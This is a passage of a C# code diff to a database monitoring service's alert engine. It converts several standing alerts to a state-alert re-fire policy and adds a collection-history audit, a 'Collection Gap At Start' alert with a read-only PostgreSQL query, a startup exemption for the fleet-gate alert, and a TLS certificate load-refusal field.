+                alert.ValueText, "half of usual",
+                detail: alert.Detail,
+                severity: AlertSeverityLevel.Warning,
+                shortMessage: alert.ShortMessage,
+                numericCurrentValue: alert.Hours, numericThresholdValue: 0,
+                cancellationToken);
+        }
+
+        _historyAuditDay = null;
+        await RecordDocumentDeliveredAsync(
+            _lastHistoryAudit, CollectionHistoryAuditKey, PgSelfAlertDeliveryStampStore.HistoryAuditStateKey,
+            delivery, HistoryAuditInterval, now, "collection-history audit", cancellationToken);
+    }
+
+    /// <summary>
+    /// The retries ran out at the next day's slot: one warning naming each source never read, and the one alert for
+    /// whatever was read, with the unread sources named in its text. The send keeps no answer and is not retried: the
+    /// day is given up on, and the stamp that matters is the new slot's own.
+    /// </summary>
+    private async Task GiveUpOnHistoryAuditDayAsync(
+        HistoryAuditDay held, IReadOnlyList<CollectionHistoryAudit.Rollup> rollups, CancellationToken cancellationToken)
+    {
+        var unread = rollups.Where(r => !held.Done.Contains(r.Relation)).ToArray();
+        _logger?.LogWarning(
+            "Collection-history audit gave up on {Rollups} for {Day:yyyy-MM-dd}: they could not be read, or had not caught up, by the next day's slot",
+            string.Join(", ", unread.Select(r => r.Relation)), held.Day);
+
+        /* The master switch, consulted here as the sibling applies do (#3464): the caller gated at its top, but this
+           member fires on its own and the switch can go off between that check and here. Off: the warning above is
+           logged, nothing is raised, and the caller still clears the held day so it is not given up on again. */
+        if (!_settings.AlertsEnabled)
+        {
+            return;
+        }
+
+        var alert = HistoryAuditAlert(held, rollups, unread);
+        if (alert is null)
+        {
+            return;
+        }
+
+        await FireAsync(
+            StoreKey(HistoryAuditDayKey(held.Day)), _storeLabel, CollectionGapsInHistoryMetric,
+            alert.ValueText, "half of usual",
+            detail: alert.Detail,
+            severity: AlertSeverityLevel.Warning,
+            shortMessage: alert.ShortMessage,
+            numericCurrentValue: alert.Hours, numericThresholdValue: 0,
+            cancellationToken);
+    }
+
+    /// <summary>
+    /// The family key of one audited day's alert, qualified by <see cref="StoreKey"/> at the fire site: the audit day on the fleet key (M1 of the #5461 round 2 review).
+    /// Non-numeric like its siblings, so it never parses as a server_id; a self-alert has no incidents, so the
+    /// cooldown key is this plus the metric, and two days are two keys.
+    /// </summary>
+    private static string HistoryAuditDayKey(DateTime auditDay) =>
+        CollectionHistoryAuditKey + ":" + auditDay.ToString("yyyy-MM-dd", CultureInfo.InvariantCulture);
+
+    /// <summary>The audit alert's pieces, shared by the day's one alert and the give-up alert.</summary>
+    private sealed record HistoryAuditAlertText(int Hours, string ValueText, string Detail, string ShortMessage);
+
+    /// <summary>Null when no source flagged an hour: nothing to raise.</summary>
+    private static HistoryAuditAlertText? HistoryAuditAlert(
+        HistoryAuditDay held, IReadOnlyList<CollectionHistoryAudit.Rollup> rollups,
+        IReadOnlyList<CollectionHistoryAudit.Rollup> unread)
+    {
+        /* A source given up on that was read but never ready contributes what it flagged, marked as not complete. */
+        var incomplete = unread
+            .Where(r => held.Unsettled.TryGetValue(r.Relation, out var ranges) && ranges.Count > 0)
+            .Select(r => r.Relation)
+            .ToHashSet(StringComparer.Ordinal);
+        var findings = rollups
+            .Where(r => held.Findings.ContainsKey(r.Relation) || incomplete.Contains(r.Relation))
+            .Select(r => (Rollup: r, Ranges: held.Findings.TryGetValue(r.Relation, out var done) ? done : held.Unsettled[r.Relation]))
+            .ToList();
+        if (findings.Count == 0)
+        {
+            return null;
+        }
+
+        var hours = CollectionHistoryAudit.FlaggedHours(findings);
+        return new HistoryAuditAlertText(
+            hours,
+            string.Create(CultureInfo.InvariantCulture, $"{hours} hours"),
+            CollectionHistoryAudit.Render(held.Day, findings, unread, incomplete),
+            string.Create(CultureInfo.InvariantCulture,
+                $"{hours} thin hour(s) in retained history on {held.Day:yyyy-MM-dd}"));
+    }
+
     /* ------------------------- #3712: the analysis singles digest ------------------------- */
 
     /// <summary>
@@ -3666,12 +4113,14 @@ internal async Task ApplyAgentNotRunningAsync(
         if (!running)
         {
             _activeAgentDown[key] = true;
-            if (CooldownElapsed(_lastAgentDownAlert, key, now))
+            /* #5493: a state alert (see ApplyCaptureDownAsync). */
+            var decision = DecideStateAlert(_lastAgentDownAlert, key, AgentDownMetric, key, now, out var refire);
+            if (decision is ConnectionAlertDecision.Lost or ConnectionAlertDecision.StillDown)
             {
                 _lastAgentDownAlert[key] = now;
                 var delivery = await FireAsync(
-                    key, serverName, "Agent Not Running", "Stopped", "Running",
-                    detail: "The SQL Server Agent service on this server is stopped. Scheduled jobs — backups, " +
+                    key, serverName, AgentDownMetric, "Stopped", "Running",
+                    detail: StateRepeatNote(decision, refire) + "The SQL Server Agent service on this server is stopped. Scheduled jobs — backups, " +
                         "index and statistics maintenance, integrity checks, log shipping — will NOT run until it " +
                         "is restarted, and a headless service has no dashboard to warn you. Start the SQL Server " +
                         "Agent service and set its startup type to Automatic so it survives a host reboot.",
@@ -3680,13 +4129,19 @@ internal async Task ApplyAgentNotRunningAsync(
                     /* "Stopped" against "Running". */
                     numericCurrentValue: StateOnlyValue, numericThresholdValue: StateOnlyValue,
                     cancellationToken);
-                AfterSelfFire("Agent Not Running", _lastAgentDownAlert, key, now, SharedCooldown, delivery);
+                if (IsStaleSweep(serverId, sweepGeneration))
+                {
+                    return;
+                }
+
+                NoteStateSend(AgentDownMetric, key, delivery);
             }
         }
         else if (_activeAgentDown.TryRemove(key, out var was) && was)
         {
+            EndStateAlert(_lastAgentDownAlert, key, AgentDownMetric, key);
             await RecordResolutionAsync(new AlertResolution(
-                key, serverName, "Agent Not Running",
+                key, serverName, AgentDownMetric,
                 "Agent Restarted", $"{serverName}: SQL Server Agent service is running again"), cancellationToken);
         }
     }
@@ -4032,7 +4487,12 @@ match Lite's so the two SKUs' history rows say the same thing. */
                             : $"{replica.ReplicaServerName} in AG {replica.AgName} is disconnected from the primary",
                         /* Connected-state descs both sides ("DISCONNECTED" against "CONNECTED"). */
                         numericCurrentValue: StateOnlyValue, numericThresholdValue: StateOnlyValue,
-                        cancellationToken);
+                        cancellationToken,
+                        /* The pair's incident identity rides BOTH edges, so a PagerDuty resolve lands on the
+                           same per-replica key the firing's trigger opened: a single "AG:replica" member (not
+                           two) so it can't be set half-way. Trailing optional, so every other FireAsync call
+                           site (and the tests that pin them) stays untouched. */
+                        context: new AlertContext { AgReplicaIdentity = $"{replica.AgName}:{replica.ReplicaServerName}" });
 
                     /* Stamped on DELIVERY, never on the decision: an alert suppressed by the master switch
                        must not consume the re-fire window (the #1659 discipline). #4795: nor one no channel
@@ -4055,7 +4515,9 @@ await FireAsync(
                         severity: null,
                         shortMessage: $"{replica.ReplicaServerName} in AG {replica.AgName} reconnected",
                         numericCurrentValue: StateOnlyValue, numericThresholdValue: StateOnlyValue,
-                        cancellationToken);
+                        cancellationToken,
+                        /* Same incident identity as the firing, on both edges: the pair is one incident. */
+                        context: new AlertContext { AgReplicaIdentity = $"{replica.AgName}:{replica.ReplicaServerName}" });
                     _lastAgDisconnectAlert.TryRemove(key, out _);
 
                     /* #4795: the notice is not retried, and the outage it closes has nothing left to retry. */
@@ -4188,12 +4650,14 @@ await RecordResolutionAsync(new AlertResolution(
             else if (judgement == AgSyncJudgement.Behind)
             {
                 _activeAgSyncBehind[key] = true;
-                if (CooldownElapsed(_lastAgSyncBehindAlert, key, now))
+                /* #5493: a state alert (see ApplyCaptureDownAsync); the grain's stamp is the AG database's key. */
+                var syncDecision = DecideStateAlert(_lastAgSyncBehindAlert, key, AgSyncFellBehindMetric, key, now, out var syncRefire);
+                if (syncDecision is ConnectionAlertDecision.Lost or ConnectionAlertDecision.StillDown)
                 {
                     _lastAgSyncBehindAlert[key] = now;
                     var delivery = await FireAsync(
                         Key(serverId), serverName, AgSyncFellBehindMetric, behindReason, "caught up",
-                        detail: behindReason + " A secondary that trails the primary is a data-loss window: an " +
+                        detail: StateRepeatNote(syncDecision, syncRefire) + behindReason + " A secondary that trails the primary is a data-loss window: an " +
                             "automatic failover cannot complete until it catches up, and a forced failover throws away " +
                             "everything still queued. Look at the network throughput between the replicas, the " +
                             "secondary's redo thread (it is single-threaded per database on older versions and is " +
@@ -4214,7 +4678,7 @@ kilobytes on others — and on an AG or database whose name carries a digit
                         numericCurrentValue: StateOnlyValue, numericThresholdValue: StateOnlyValue,
                         cancellationToken,
                         context: AgDatabaseContext(database));
-                    AfterSelfFire(AgSyncFellBehindMetric, _lastAgSyncBehindAlert, key, now, SharedCooldown, delivery);
+                    NoteStateSend(AgSyncFellBehindMetric, key, delivery);
                 }
             }
         }
@@ -4227,7 +4691,7 @@ suspended. Iterating the measured set also makes cross-server resolution structu
            every key in it came from THIS server's snapshot — rather than something a prefix check has to catch. */
         foreach (var key in measuredCaughtUp)
         {
-            _lastAgSyncBehindAlert.TryRemove(key, out _);
+            EndStateAlert(_lastAgSyncBehindAlert, key, AgSyncFellBehindMetric, key);
             if (_activeAgSyncBehind.TryRemove(key, out _))
             {
                 await RecordResolutionAsync(new AlertResolution(
@@ -4418,7 +4882,8 @@ shipped defaults. */
                (still cooldown-limited), one resolution on recovery. This is THE self-alert with a
                real measurement, which is what makes the gate fit here and deliberately NOT on the
                state-only siblings (Collection Stopped / Agent Not Running / Capture Down) — those
-               have no level to worsen, and their per-cooldown "still broken" reminder is wanted. */
+               have no level to worsen, and since #5489/#5493 they are state alerts that send one alert per
+               occurrence (ConnectionAlertPolicy), not a per-cooldown reminder. */
             double? lastAlertedPercent =
                 _lastAlertedDiskPressurePercent.TryGetValue(DiskKey, out var lastPct) ? lastPct : (double?)null;
             if (LowDiskAlertGate.ShouldAlert(percentFree, lastAlertedPercent)
@@ -4506,8 +4971,8 @@ like the sibling store self-alert wrappers. The read that BUILDS the report live
     /// <summary>
     /// Edge-applies the fleet-level "some custom alert rules are broken or never firing" condition from the
     /// <see cref="CustomAlertHealthReport"/> the <see cref="CustomAlertEvaluator"/> builds: fire once on entry,
-    /// re-fire only after the alert cooldown while any rule stays unhealthy, and write ONE resolution row when
-    /// every rule is healthy again (the Collection-Stopped standing-condition edge shape). ONE alert aggregates
+    /// again when a rule joins the unhealthy set (naming the new ones, #5493), repeat only per
+    /// <c>connection_refire_minutes</c>, and write ONE resolution row when every rule is healthy again (the Collection-Stopped standing-condition edge shape). ONE alert aggregates
     /// ALL unhealthy rules — a <c>pg_*</c> rename can break many at once, and one-alert-per-rule would be an
     /// alert storm. Gated on the master alerts switch. The rule names/errors in the report are ALREADY
     /// newline-stripped + length-capped by the evaluator, and the detail NEVER contains the compiled SQL — only
@@ -4526,17 +4991,43 @@ internal async Task ApplyCustomRuleHealthAsync(CustomAlertHealthReport report, C
         {
             _activeCustomRuleHealth[CustomRuleHealthKey] = true;
 
-            /* Standing condition: fire on entry, re-fire only per cooldown while unhealthy. The CURRENT report
-               is rendered each time, so a rule that breaks later shows up on the next re-fire. */
-            if (CooldownElapsed(_lastCustomRuleHealthAlert, CustomRuleHealthKey, now))
+            /* #5493: a state alert (see ApplyCaptureDownAsync): one alert on entry, a repeat only per
+               connection_refire_minutes. The CURRENT report is rendered each time it is sent, so a rule that breaks
+               later shows up in the next repeat. */
+            /* A rule that JOINS the unhealthy set while the alert stands is news: one alert that names the current
+               set and says which rules are new. A rule that leaves sends nothing. */
+            var currentIds = new HashSet<long>(
+                report.BrokenRules.Select(r => r.RuleId).Concat(report.NeverFiringRules.Select(r => r.RuleId)));
+            var newRules = new List<CustomAlertRuleHealthIssue>();
+            if (_customRuleHealthIds.TryGetValue(CustomRuleHealthKey, out var previousIds)
+                && LastFiredStamp.TryGet(_lastCustomRuleHealthAlert, CustomRuleHealthKey, now, out _))
+            {
+                newRules.AddRange(report.BrokenRules.Concat(report.NeverFiringRules)
+                    .Where(r => !previousIds.Contains(r.RuleId)).OrderBy(r => r.RuleId));
+                if (newRules.Count > 0)
+                {
+                    _lastCustomRuleHealthAlert.TryRemove(CustomRuleHealthKey, out _);
+                    _stateRetries.Clear(StateRetryKey(CustomRuleHealthMetric, CustomRuleHealthKey));
+                }
+            }
+
+            _customRuleHealthIds[CustomRuleHealthKey] = currentIds;
+            var decision = DecideStateAlert(_lastCustomRuleHealthAlert, CustomRuleHealthKey, CustomRuleHealthMetric, CustomRuleHealthKey, now, out var refire);
+            if (decision is ConnectionAlertDecision.Lost or ConnectionAlertDecision.StillDown)
             {
                 _lastCustomRuleHealthAlert[CustomRuleHealthKey] = now;
                 var (shortMessage, detail) = RenderCustomRuleHealth(report);
+                if (newRules.Count > 0)
+                {
+                    detail = "New since the previous alert were " + string.Join(", ", newRules.Select(r =>
+                        string.Create(CultureInfo.InvariantCulture, $"rule {r.RuleId} \"{r.RuleName}\""))) + ". " + detail;
+                }
+
                 var delivery = await FireAsync(
                     StoreKey(CustomRuleHealthKey), _storeLabel, CustomRuleHealthMetric,
                     currentValue: report.TotalIssues.ToString(CultureInfo.InvariantCulture),
                     thresholdValue: "0",
-                    detail: detail,
+                    detail: StateRepeatNote(decision, refire) + detail,
                     severity: AlertSeverityLevel.Warning,
                     shortMessage: shortMessage,
                     /* The count of unhealthy rules is a genuine whole number (AlertMetricClassifier renders it
@@ -4544,12 +5035,13 @@ internal async Task ApplyCustomRuleHealthAsync(CustomAlertHealthReport report, C
                     numericCurrentValue: report.TotalIssues,
                     numericThresholdValue: 0,
                     cancellationToken);
-                AfterSelfFire(CustomRuleHealthMetric, _lastCustomRuleHealthAlert, CustomRuleHealthKey, now, SharedCooldown, delivery);
+                NoteStateSend(CustomRuleHealthMetric, CustomRuleHealthKey, delivery);
             }
         }
         else if (_activeCustomRuleHealth.TryRemove(CustomRuleHealthKey, out var was) && was)
         {
-            _lastCustomRuleHealthAlert.TryRemove(CustomRuleHealthKey, out _);
+            EndStateAlert(_lastCustomRuleHealthAlert, CustomRuleHealthKey, CustomRuleHealthMetric, CustomRuleHealthKey);
+            _customRuleHealthIds.TryRemove(CustomRuleHealthKey, out _);
             await RecordResolutionAsync(new AlertResolution(
                 StoreKey(CustomRuleHealthKey), _storeLabel, CustomRuleHealthMetric,
                 CustomRuleHealthResolvedMetric,
@@ -5256,6 +5748,99 @@ await FireAsync(
         }
     }
 
+    /* ---------------- the gap before this start (#5450) ---------------- */
+
+    /// <summary>
+    /// The alert metric name for "the service was not collecting before this start" (#5450). A WEBHOOK
+    /// AUTOMATION KEY like its siblings, so it is a const and must stay stable across releases.
+    /// </summary>
+    internal const string CollectionGapAtStartMetric = "Collection Gap At Start";
+
+    /// <summary>Fleet-level key, non-numeric so it never collides with a real server_id (the DiskKey shape).</summary>
+    private const string CollectionGapKey = "collectiongapatstart";
+
+    /// <summary>
+    /// The shortest gap that is reported. An ordinary install or upgrade restart takes about one to two
+    /// minutes, so 15 never fires on one; a gap this long means the service or its host was down on
+    /// purpose or by accident, which is what the alert exists to say. A const, not a setting.
+    /// </summary>
+    internal static readonly TimeSpan CollectionGapAtStartThreshold = TimeSpan.FromMinutes(15);
+
+    /// <summary>
+    /// The newest collection time that was in the store BEFORE this start's first collector wrote, over the
+    /// currently ENABLED servers only (#5450). A store whose servers are all disabled or removed reads NULL and
+    /// so fires nothing. The fleet sentinel (server_id 0: the daily purge's run record and the oversized-plan
+    /// sweep) is excluded naturally, because it is not a configured server. Bounded: one backward probe of
+    /// <c>idx_collection_log_time (server_id, collection_time)</c> per server, each stopping at its first row,
+    /// so it never scans or sorts the table, on a hypertable or on plain PostgreSQL.
+    /// </summary>
+    internal const string NewestCollectionTimeSql = @"
+SELECT max(n.collection_time)
+FROM config.config_monitored_servers c
+CROSS JOIN LATERAL (
+    SELECT l.collection_time
+    FROM collect.collection_log l
+    WHERE l.server_id = c.server_id
+    ORDER BY l.collection_time DESC
+    LIMIT 1) n
+WHERE c.is_enabled";
+
+    /// <summary>
+    /// <paramref name="LastCollectionUtc"/> is read from a <c>timestamp</c> column that is written as UTC, so
+    /// Npgsql hands it back with Kind Unspecified; <paramref name="StartUtc"/> is the service process start,
+    /// in UTC. The gap is measured from the last collection to the PROCESS start, so a long migration or a
+    /// store runtime upgrade after the start is not counted as downtime. Null at the call site (not a report)
+    /// when no enabled server had rows.
+    /// </summary>
+    internal sealed record CollectionGapReport(DateTime LastCollectionUtc, DateTime StartUtc);
+
+    /// <summary>
+    /// Raises "Collection Gap At Start" ONCE per service start when the newest pre-start collection is at
+    /// least <see cref="CollectionGapAtStartThreshold"/> before the start (#5450). The self-monitor alerts
+    /// run inside the service and cannot see its own downtime, but the next start can. An event, not an
+    /// edge machine: fired at the first opportunity the alert engine exists and never re-evaluated.
+    /// </summary>
+    public async Task EvaluateCollectionGapAtStartAsync(CollectionGapReport? report, CancellationToken cancellationToken)
+    {
+        if (report is null || !_settings.AlertsEnabled)
+        {
+            return;
+        }
+
+        /* A negative gap (a clock step, or a row newer than the start) is under the threshold too. */
+        var gap = report.StartUtc - report.LastCollectionUtc;
+        if (gap < CollectionGapAtStartThreshold)
+        {
+            return;
+        }
+
+        try
+        {
+            var minutes = (int)Math.Floor(gap.TotalMinutes);
+            var last = report.LastCollectionUtc.ToString("yyyy-MM-dd HH:mm", CultureInfo.InvariantCulture);
+            var start = report.StartUtc.ToString("yyyy-MM-dd HH:mm", CultureInfo.InvariantCulture);
+            await FireAsync(
+                StoreKey(CollectionGapKey), _storeLabel, CollectionGapAtStartMetric,
+                $"{minutes} minutes", $"{(int)CollectionGapAtStartThreshold.TotalMinutes} minutes",
+                detail: $"Darling was not collecting from {last} to {start} UTC ({minutes} minutes). " +
+                    "Nothing was collected for any server in that window. " +
+                    "If this was not a planned stop, check why the service or its host was down.",
+                severity: AlertSeverityLevel.Warning,
+                shortMessage: $"not collecting for {minutes} minutes before this start",
+                numericCurrentValue: minutes, numericThresholdValue: (int)CollectionGapAtStartThreshold.TotalMinutes,
+                cancellationToken);
+        }
+        catch (OperationCanceledException) when (cancellationToken.IsCancellationRequested)
+        {
+            throw;
+        }
+        catch (Exception ex)
+        {
+            /* The report is a parameter; no store read happens here. */
+            _logger?.LogError("Collection gap at start self-alert failed: {Message}", ex.Message);
+        }
+    }
+
     /* ---------------- the store's TimescaleDB extension (#3908) ---------------- */
 
     /// <summary>
@@ -5360,6 +5945,42 @@ await FireAsync(
     /// resolves.</summary>
     internal static readonly TimeSpan FleetGateQuietHold = TimeSpan.FromHours(1);
 
+    /// <summary>#5597: the minutes right after the SERVICE starts (once per process: a stall, a clock step, a pause ending and the
+    /// memory launch guard's release do not start them again) whose counts the alert leaves out. Every collector comes due at
+    /// once then, the gate is a few slots wide, and the first bodies run long (connects, on-load snapshots, catch-up reads), so
+    /// slots are skipped on a store that is not behind. Chosen from a large store's service log: the 6 short-window hits were all
+    /// inside the first minutes after a start, "skipping relaunch" peaked in the first two 5-minute windows, and the only full
+    /// hour over 5% (5.9%) began 4 minutes after a start, where the other 87 full hours were under 1%. A skipped slot is counted
+    /// in the minute the run that stepped over it lands, so the alert leaves out the counts recorded before start + 15 minutes
+    /// and judges the counts recorded at or after it: a slot due at minute 14 that a run steps over at minute 16 is judged, which
+    /// is the safe side (a late run is never hidden by the exemption).</summary>
+    internal const int FleetGateStartupMinutes = 15;
+
+    /// <summary>#5597: the fewest minutes after <see cref="FleetGateStartupMinutes"/> the alert needs before it judges at all.
+    /// Shorter than that is a handful of ticks, where one slow body decides the share. A store that is behind from its start
+    /// fires about <c>FleetGateStartupMinutes + FleetGateMinJudgedMinutes</c> (30) minutes after it, up to about 31: the alert is
+    /// evaluated once a minute (up to 1 more), and the start is the sweep loop's first tick, which comes after the host's
+    /// "Application started".</summary>
+    internal const int FleetGateMinJudgedMinutes = 15;
+
+    /// <summary>
+    /// #5597: how many whole minutes (at most the 60 the gate keeps) the alert judges, given how long the service has run
+    /// (<see cref="SkipCreditFloor.Uptime"/>, a monotonic clock): the uptime less <see cref="FleetGateStartupMinutes"/>, rounded
+    /// down. 0 before the loop has ticked. The text of the alert and the hourly log line name this. The counts it describes are
+    /// the ones <see cref="FleetGateStats.SnapshotJudged"/> keeps, which were chosen when they were recorded. One method for the
+    /// alert and the Warning level of the hourly log line, so they cannot disagree.
+    /// </summary>
+    internal static int FleetGateJudgedMinutes(TimeSpan? uptime)
+    {
+        if (uptime is not { } ran)
+        {
+            return 0;
+        }
+
+        var whole = (ran - TimeSpan.FromMinutes(FleetGateStartupMinutes)).Ticks / TimeSpan.TicksPerMinute;
+        return (int)Math.Clamp(whole, 0, FleetGateStats.WindowMinutes);
+    }
+
     /// <summary>
     /// What the fleet collection gate did over the last hour, carried out to the alert sweep (#4732): the collector
     /// slots that ran, the slots that came due and were skipped, how long collection bodies queued for a gate slot,
@@ -5373,8 +5994,14 @@ internal sealed record FleetGateReport(
         TimeSpan QueueWaitTotal,
         TimeSpan QueueWaitMax,
         int GateWidth,
-        DateTime WindowEndUtc)
+        DateTime WindowEndUtc,
+        int JudgedMinutes = FleetGateStats.WindowMinutes)
     {
+        /// <summary>#5597: whether the window the counts cover is long enough to judge: it leaves out the minutes right after
+        /// a service start (<see cref="FleetGateStartupMinutes"/>) and needs <see cref="FleetGateMinJudgedMinutes"/> after them. While
+        /// it is not, the alert neither fires nor resolves.</summary>
+        public bool IsJudged => JudgedMinutes >= FleetGateMinJudgedMinutes;
+
         /// <summary>Slots that came due in the hour: the ones that ran plus the ones skipped.</summary>
         public long Due => Run + Skipped;
 
@@ -5384,7 +6011,7 @@ internal sealed record FleetGateReport(
         /// <summary>The fire test: at least <see cref="FleetGateBehindMinSkipped"/> skipped AND at least
         /// <see cref="FleetGateBehindPercent"/> of the due slots. Integer arithmetic, so 5.0% exactly counts and 4.99%
         /// does not.</summary>
-        public bool IsBehind => Skipped >= FleetGateBehindMinSkipped && Skipped * 100 >= Due * FleetGateBehindPercent;
+        public bool IsBehind => IsJudged && Skipped >= FleetGateBehindMinSkipped && Skipped * 100 >= Due * FleetGateBehindPercent;
 
         /// <summary>The caught-up test: nothing skipped, or under <see cref="FleetGateQuietPercent"/> of the due slots.</summary>
         public bool IsQuiet => Skipped == 0 || Skipped * 100 < Due * FleetGateQuietPercent;
@@ -5433,7 +6060,16 @@ public async Task<bool> EvaluateFleetGateAsync(FleetGateReport report, Cancellat
     /// that is the only symptom: gaps in the collected series and one Info line, with no count and no alert. This
     /// counts the skipped slots against the slots that ran and warns when the schedule is losing them.</para>
     ///
-    /// <para><b>Fires</b> when, over the last hour, at least <see cref="FleetGateBehindMinSkipped"/> slots were skipped
+    /// <para><b>Judges</b> (#5597) only slots counted at or after start + <see cref="FleetGateStartupMinutes"/> minutes, where the
+    /// start is the service's own (once per process, never a stall, a clock step, a pause ending or a launch-guard release), over
+    /// at most the last hour; while that is shorter than <see cref="FleetGateMinJudgedMinutes"/> it neither fires nor
+    /// resolves. Which counts are left out is decided when each slot is recorded, on the monotonic uptime
+    /// (<see cref="FleetGateStats.SnapshotJudged"/>), so a wall-clock step in either direction cannot bring a start-up count
+    /// into what it judges, and the minutes it names follow the monotonic uptime. A slot is counted in the minute the run
+    /// that stepped over it lands; counting it there is the safe side (a slot due at minute 14 that a run steps over at
+    /// minute 16 is judged).</para>
+    ///
+    /// <para><b>Fires</b> when, over the window it judges (the last hour once the start is old enough), at least <see cref="FleetGateBehindMinSkipped"/> slots were skipped
     /// AND they are at least <see cref="FleetGateBehindPercent"/> of the slots that came due. <b>Resolves</b> once the
     /// last-hour share has stayed under <see cref="FleetGateQuietPercent"/> for a full <see cref="FleetGateQuietHold"/>;
     /// a share in between neither re-fires nor resolves, so a fleet hovering near the threshold does not flap.
@@ -5450,6 +6086,13 @@ internal async Task ApplyFleetGateAsync(FleetGateReport report, CancellationToke
             return;
         }
 
+        /* #5597: right after a start the window is too short to judge. Not firing, and not resolving either: a standing alert
+           keeps standing, and its quiet clock keeps its place, until there is a window to read. */
+        if (!report.IsJudged)
+        {
+            return;
+        }
+
         var now = _utcNow();
         var standing = _activeFleetGate.TryGetValue(FleetGateKey, out var was) && was;
 
@@ -5475,7 +6118,7 @@ first quiet reading only starts the clock. */
 
             _activeFleetGate.TryRemove(FleetGateKey, out _);
             _fleetGateQuietSince.TryRemove(FleetGateKey, out _);
-            _lastFleetGateAlert.TryRemove(FleetGateKey, out _);
+            EndStateAlert(_lastFleetGateAlert, FleetGateKey, FleetGateMetric, FleetGateKey);
             await RecordResolutionAsync(new AlertResolution(
                 StoreKey(FleetGateKey), _storeLabel, FleetGateMetric, FleetGateClearedMetric,
                 $"Collection has kept up with its schedule: under {FleetGateQuietPercent}% of the slots that came due were skipped for the last hour"),
@@ -5493,9 +6136,10 @@ await RecordResolutionAsync(new AlertResolution(
             }
         }
 
-        /* Standing condition: fire on entry, re-state only per the shared cooldown while it holds. */
-        if (LastFiredStamp.TryGet(_lastFleetGateAlert, FleetGateKey, now, out var lastFired)
-            && now - lastFired < SharedCooldown)
+        /* #5493: a state alert (see ApplyCaptureDownAsync): one alert on entry, a repeat only per
+           connection_refire_minutes. */
+        var decision = DecideStateAlert(_lastFleetGateAlert, FleetGateKey, FleetGateMetric, FleetGateKey, now, out var refire);
+        if (decision is not (ConnectionAlertDecision.Lost or ConnectionAlertDecision.StillDown))
         {
             return;
         }
@@ -5507,13 +6151,13 @@ await RecordResolutionAsync(new AlertResolution(
             StoreKey(FleetGateKey), _storeLabel, FleetGateMetric,
             currentValue: currentValue,
             thresholdValue: string.Create(CultureInfo.InvariantCulture, $"{FleetGateBehindPercent}% and at least {FleetGateBehindMinSkipped} slots"),
-            detail: detail,
+            detail: StateRepeatNote(decision, refire) + detail,
             severity: AlertSeverityLevel.Warning,
             shortMessage: shortMessage,
             /* A real measurement: the share of due slots skipped, against the share that fires. */
             numericCurrentValue: Math.Round(report.SkippedPercent, 1), numericThresholdValue: FleetGateBehindPercent,
             cancellationToken);
-        AfterSelfFire(FleetGateMetric, _lastFleetGateAlert, FleetGateKey, now, SharedCooldown, delivery);
+        NoteStateSend(FleetGateMetric, FleetGateKey, delivery);
     }
 
     /// <summary>Renders the (shortMessage, detail, currentValue) for the "Collection Falling Behind" alert: the counts,
@@ -5522,10 +6166,17 @@ internal static (string ShortMessage, string Detail, string CurrentValue) Render
     {
         var inv = CultureInfo.InvariantCulture;
         var percent = report.SkippedPercent.ToString("0.#", inv);
-        var shortMessage = string.Create(inv,
-            $"collection skipped {report.Skipped:N0} of {report.Due:N0} due slots in the last hour ({percent}%)");
+        /* #5597: a window shorter than the hour names itself: its minutes and its slots, and that the minutes right after the
+           start were left out. */
+        var shortHour = report.JudgedMinutes < FleetGateStats.WindowMinutes;
+        var shortMessage = shortHour
+            ? string.Create(inv, $"collection skipped {report.Skipped:N0} of {report.Due:N0} due slots in the last {report.JudgedMinutes} minutes ({percent}%)")
+            : string.Create(inv, $"collection skipped {report.Skipped:N0} of {report.Due:N0} due slots in the last hour ({percent}%)");
+        var windowText = shortHour
+            ? string.Create(inv, $"In the {report.JudgedMinutes} minutes to {report.WindowEndUtc:yyyy-MM-dd HH:mm} UTC (what was counted in the first {FleetGateStartupMinutes} minutes after the service started is left out, since every collector comes due at once then)")
+            : string.Create(inv, $"In the hour to {report.WindowEndUtc:yyyy-MM-dd HH:mm} UTC");
         var detail =
-            string.Create(inv, $"In the hour to {report.WindowEndUtc:yyyy-MM-dd HH:mm} UTC the fleet collection gate (width {report.GateWidth}) ran {report.Run:N0} collector slots and skipped {report.Skipped:N0} ({percent}% of the {report.Due:N0} that came due). ")
+            windowText + string.Create(inv, $" the fleet collection gate (width {report.GateWidth}) ran {report.Run:N0} collector slots and skipped {report.Skipped:N0} ({percent}% of the {report.Due:N0} that came due). ")
             + "A slot that comes due while its server's previous collection body is still running, or while every gate slot is taken, "
             + "is skipped rather than replayed, so those samples were never collected. "
             + string.Create(inv, $"{report.QueueWaits:N0} collection bodies waited for a gate slot, {report.QueueWaitAverage.TotalMilliseconds:N0} ms on average and {report.QueueWaitMax.TotalMilliseconds:N0} ms at the longest. ")
@@ -5534,17 +6185,23 @@ internal static (string ShortMessage, string Detail, string CurrentValue) Render
         return (shortMessage, detail, string.Create(inv, $"{percent}% skipped"));
     }
 
-    /* ---------------- web dashboard TLS certificate expiry (#3514) ---------------- */
+    /* ---------------- web dashboard and MCP TLS certificate expiry (#3514, #5288) ---------------- */
 
     /// <summary>
-    /// What the web host knows about its served TLS certificate, carried out to the worker's alert sweep — a
-    /// platform-neutral copy of the loaded certificate's facts so the alert path never touches an X.509 type.
+    /// What a listener's host knows about its served TLS certificate (the web host's, #3514, or the MCP host's,
+    /// #5288), carried out to the worker's alert sweep — a platform-neutral copy of the loaded certificate's
+    /// facts so the alert path never touches an X.509 type. The one record serves both listeners; it keeps its
+    /// original name because every web caller and test already speaks it.
     /// <paramref name="Configured"/> is false when there is no LAN TLS certificate to watch (loopback-only, no
     /// <c>tls</c> block, or an unusable one); the other fields are meaningful only when it is true.
     /// <paramref name="RefusedNotYetValid"/> is the host's own load-time verdict (#3517): it judged
     /// <paramref name="NotBeforeUtc"/> still ahead of the clock, refused the certificate, and bound loopback-only
     /// — a decision it does not revisit until its next start, which is why it travels as a flag and is never
     /// re-derived here from the date.
+    /// <paramref name="LoadRefusal"/> is the host's other load-time verdict (#5288): the configured certificate
+    /// could not be loaded at all, so the listener is loopback-only, and the text is why. Null when the
+    /// certificate loaded. A report that carries it has no certificate facts: its date and identity fields are
+    /// blank and are never read.
     /// </summary>
     internal sealed record WebTlsCertReport(
         bool Configured,
@@ -5552,7 +6209,8 @@ internal sealed record WebTlsCertReport(
         DateTimeOffset NotAfterUtc,
         string Subject,
         string Thumbprint,
-        bool RefusedNotYetValid);
+        bool RefusedNotYetValid,
+        string? LoadRefusal = null);
 
     /// <summary>
     /// The isolating entry point the worker's sweep calls for the web-dashboard TLS certificate expiry
@@ -5561,11 +6219,25 @@ internal sealed record WebTlsCertReport(
